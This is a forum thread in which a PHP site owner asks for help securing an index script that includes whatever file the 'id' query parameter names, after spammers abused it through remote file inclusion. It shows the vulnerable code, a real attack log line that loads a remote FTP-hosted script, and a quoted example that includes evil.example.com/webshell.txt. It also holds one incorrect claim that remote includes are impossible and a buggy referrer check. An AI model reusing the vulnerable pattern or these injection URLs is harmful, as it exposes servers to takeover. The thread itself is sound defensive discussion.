PHP Include and Security - need help

Discussions of secure PHP coding. Security in software is important, so don't be afraid to ask. And when answering: be anal. Nitpick. No security vulnerability is too small.

Moderator: General Moderators

reb00t
Forum Newbie
Posts: 8
Joined: Thu Sep 16, 2010 3:38 pm

PHP Include and Security - need help

Post by reb00t »

Hi, i hope someone can help me, I am trying to secure a php include script to prevent external includes.. id like to be able to allow all domains hosted in my server and deny everything else, if that is possible, if not then manually enter domains like:

$referers = array ('xyz.com','www.xyz.com');

attached is the script which is called by http://xyz.com/?id=any_page.php

If anyone can suggest some code to check referer before the code is run, i would be very very greatful. cheers.

Code: Select all

<?php
// add referrer security check here...


if ( isset($_GET['id']) && $_GET['id'] <> '' ) // If id is set, then set include to that value
{
$include = $_GET['id'];
}
elseif ( (!isset($_GET['id']) || $_GET['id'] == '') && isset($_GET['image']) ) // If id not set, but image is, don't include anything
{
$include = FALSE;
}
else // id and image not set, so include a default page
{
$include = 'home.php';
}

if ( $include != FALSE)
{
    if ( is_file($include) ) // If finds file, then include it
    {
    include $include;
    }
    else // File doesn't exist, so show 404 page
    {
    include '404.php';
    }
}

// Show the image if set
if ( isset($_GET['image']) && $_GET['image'] <> '' )
{
$image = $_GET['image'];
}
// end include
?>
User avatar
John Cartwright
Site Admin
Posts: 11470
Joined: Tue Dec 23, 2003 2:10 am
Location: Toronto
Contact:

Re: PHP Include and Security - need help

Post by John Cartwright »

Do these remote servers include your script directly? Or is the client's browser requesting it?

If it's the first former, then you could simply add a whitelist of IP addresses to check against using in_array() and $_SERVER['REMOTE_ADDR'].

I probably wouldn't check against the referrer because it is optionally sent by the browser (and easily disabled altogether). However, if you insist on including this as a check, you will probably end up doing something like

Code: Select all

$allowedReferrers = array('google.com', 'yahoo.com');   
if ($url = parse_url($_SERVER['HTTP_REFERRER']) && in_array($url['host'], $allowedReferrers)) {
   //valid referrer && whitelisted
} else {
   //invalid referrer || blacklisted
}
P.s., I highly suggest you research RFI (Remote File Inclusion) before using that script.
User avatar
Jonah Bron
DevNet Master
Posts: 2764
Joined: Thu Mar 15, 2007 6:28 pm
Location: Redding, California

Re: PHP Include and Security - need help

Post by Jonah Bron »

A PHP script can not be included from a remote location. You're safe.
User avatar
John Cartwright
Site Admin
Posts: 11470
Joined: Tue Dec 23, 2003 2:10 am
Location: Toronto
Contact:

Re: PHP Include and Security - need help

Post by John Cartwright »

Jonah Bron wrote:You're safe.
Absolutely false. In fact, this is probably the most common attack performed to gain control of servers.
http://php.net/manual/en/function.include.php wrote:Warning
Security warning

Remote file may be processed at the remote server (depending on the file extension and the fact if the remote server runs PHP or not) but it still has to produce a valid PHP script because it will be processed at the local server. If the file from the remote server should be processed there and outputted only, readfile() is much better function to use. Otherwise, special care should be taken to secure the remote script to produce a valid and desired code.
reb00t
Forum Newbie
Posts: 8
Joined: Thu Sep 16, 2010 3:38 pm

Re: PHP Include and Security - need help

Post by reb00t »

Hi John, no the script i attached is hosted on my root/index page, i am having a problem with a spamer accessing my script, including their spam form within my site, (ie: mysite.com/?id=http://theirsite.com ). my site has 100s of pages using this page include method and works great but is not secure, so i wold rather add a referrer check, like you get in a simple php emailer before the code is run. the code you wrote below, where would i place my code within this? thanks for your time and input. regards.

John Cartwright wrote:Do these remote servers include your script directly? Or is the client's browser requesting it?

If it's the first former, then you could simply add a whitelist of IP addresses to check against using in_array() and $_SERVER['REMOTE_ADDR'].

I probably wouldn't check against the referrer because it is optionally sent by the browser (and easily disabled altogether). However, if you insist on including this as a check, you will probably end up doing something like

Code: Select all

$allowedReferrers = array('google.com', 'yahoo.com');   
if ($url = parse_url($_SERVER['HTTP_REFERRER']) && in_array($url['host'], $allowedReferrers)) {
   //valid referrer && whitelisted
} else {
   //invalid referrer || blacklisted
}
P.s., I highly suggest you research RFI (Remote File Inclusion) before using that script.
Jonah Bron wrote:A PHP script can not be included from a remote location. You're safe.
User avatar
John Cartwright
Site Admin
Posts: 11470
Joined: Tue Dec 23, 2003 2:10 am
Location: Toronto
Contact:

Re: PHP Include and Security - need help

Post by John Cartwright »

Please answer my original question before I consult any further on different approaches.

Again, is it a remote server accessing your script, or the clients (through html tags, i.e., an iframe).

Furthermore, if you do the referrer check, you will likely be turning away legitimate traffic (users such as myself who have it disabled). Your better off just disabling allow_url_include.
reb00t
Forum Newbie
Posts: 8
Joined: Thu Sep 16, 2010 3:38 pm

Re: PHP Include and Security - need help

Post by reb00t »

Jonah Bron wrote:A PHP script can not be included from a remote location. You're safe.
as John said, it is not safe, i know as my server got spam complaints from my ip, originating from brazil using external includes into my content (fake form).
User avatar
John Cartwright
Site Admin
Posts: 11470
Joined: Tue Dec 23, 2003 2:10 am
Location: Toronto
Contact:

Re: PHP Include and Security - need help

Post by John Cartwright »

reb00t wrote:
Jonah Bron wrote:A PHP script can not be included from a remote location. You're safe.
as John said, it is not safe, i know as my server got spam complaints from my ip, originating from brazil using external includes into my content (fake form).
Besides the attacker, again, how is your script intended to be loaded. Through the remote servers, or through the clients browser?
reb00t
Forum Newbie
Posts: 8
Joined: Thu Sep 16, 2010 3:38 pm

Re: PHP Include and Security - need help

Post by reb00t »

John Cartwright wrote:Please answer my original question before I consult any further.

Again, is it a remote server accessing your script, or the clients (through html tags, i.e., an iframe).
i am not sure i just got a log from my host, with loads of these..

187.55.xx.xx - - [14/Sep/2010:16:17:44 -0500] "GET ?id=ftp://webscr:o1o2o3@ftp.xx.xx.br/Envia2.php?? HTTP/1.1" 200 21417 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.55 Safari/534.3"
reb00t
Forum Newbie
Posts: 8
Joined: Thu Sep 16, 2010 3:38 pm

Re: PHP Include and Security - need help

Post by reb00t »

reb00t wrote:
John Cartwright wrote:Please answer my original question before I consult any further.

Again, is it a remote server accessing your script, or the clients (through html tags, i.e., an iframe).
remote accessing my script, embeding their content within my site.
remote code injection i think its called
User avatar
John Cartwright
Site Admin
Posts: 11470
Joined: Tue Dec 23, 2003 2:10 am
Location: Toronto
Contact:

Re: PHP Include and Security - need help

Post by John Cartwright »

reb00t wrote:
reb00t wrote:
John Cartwright wrote:Please answer my original question before I consult any further.

Again, is it a remote server accessing your script, or the clients (through html tags, i.e., an iframe).
accessing my script, embeding their content within my site.
remote code injection i think its called
You still haven't answered my initial question!!! :roll:

And close, but it's called Remote File Inclusion, which I already touched on and even linked

Regardless, it's been quite a long time since I developed a front controller that accepted file names as the target, but something as simple as:

Code: Select all

$_GET['id'] = !empty($_GET['id']) ? basename($_GET['id']) : '';
Which would turn this requested

[text]?id=ftp://webscr:o1o2o3@ftp.xx.xx.br/Envia2.php?[/text]

to

[text]?id=Envia2.php?[/text]

and of course would fail to load his malicious content.

P.S., if you want to PM me the domain that is harming you. We have fought many hackers on our servers over the years and have had some success getting their sites disabled.
User avatar
Jonah Bron
DevNet Master
Posts: 2764
Joined: Thu Mar 15, 2007 6:28 pm
Location: Redding, California

Re: PHP Include and Security - need help

Post by Jonah Bron »

A stand corrected. But, I don't quite understand. Is the threat in that Apache might not send the page to PHP for some weird reason? How could something bad happen if there's no PHP visible?
User avatar
John Cartwright
Site Admin
Posts: 11470
Joined: Tue Dec 23, 2003 2:10 am
Location: Toronto
Contact:

Re: PHP Include and Security - need help

Post by John Cartwright »

By using a remote file include, the code is both processed by the remote server AND THEN the including server. You do not even need to include it as a PHP file, but any text file that contains PHP code. As long as it is included(), it will be interpreted.

The example Wikipedia gives,

/vulnerable.php?COLOR=http://evil.example.com/webshell.txt
User avatar
John Cartwright
Site Admin
Posts: 11470
Joined: Tue Dec 23, 2003 2:10 am
Location: Toronto
Contact:

Re: PHP Include and Security - need help

Post by John Cartwright »

Moved to PHP-Security.
reb00t
Forum Newbie
Posts: 8
Joined: Thu Sep 16, 2010 3:38 pm

Re: PHP Include and Security - need help

Post by reb00t »

John Cartwright wrote:
You still haven't answered my initial question!!! :roll:
im am sorry but i dont know what you mean, iall i know is a remote server is accessing the script to POST and GET, embeding their form within my site, i dont know anything else other than what i got from the log like i sent above.
John Cartwright wrote: Regardless, it's been quite a long time since I developed a front controller that accepted file names as the target, but something as simple as:

Code: Select all

$_GET['id'] = !empty($_GET['id']) ? basename($_GET['id']) : '';
Which would turn this requested

[text]?id=ftp://webscr:o1o2o3@ftp.xx.xx.br/Envia2.php?[/text]

to

[text]?id=Envia2.php?[/text]

and of course would fail to load his malicious content.

.
I dont know php very well other than basic modifications, i was hoping to add a few lines similar to an email referrer check before the code so if it wasnt a valid referrer, it just outputs say 'no external referrers allowed'

i will try to impliment the code above, i attach the mail former referrer i was trying to modify to suit with no luck (just blank page), thanks again.. i need to find a fix as host gave me 24hrs.. cheers.

Code: Select all

<?

$referers = array ('yahoo.com','google.com');

// function to check the referer for security reasons.
function check_referer($referers) {
   if (count($referers)) {
      $found = false;

      $temp = explode("/",getenv("HTTP_REFERER"));
      $referer = $temp[2];
      
      if ($referer=="") {$referer = $_SERVER['HTTP_REFERER'];
         list($remove,$stuff)=split('//',$referer,2);
         list($home,$stuff)=split('/',$stuff,2);
         $referer = $home;
      }
      
      for ($x=0; $x < count($referers); $x++) {
         if (eregi ($referers[$x], $referer)) {
            $found = true;
         }
      }
      if ($referer =="")
         $found = false;
      if (!$found){
         print_error("You are coming from an <b>unauthorized domain.</b>");
      }
         return $found;
      } else {
         return true; // not a good idea, if empty, it will allow it.
   }
}
if ($referers)
   check_referer($referers);

else {
// run script below

}
?>
Post Reply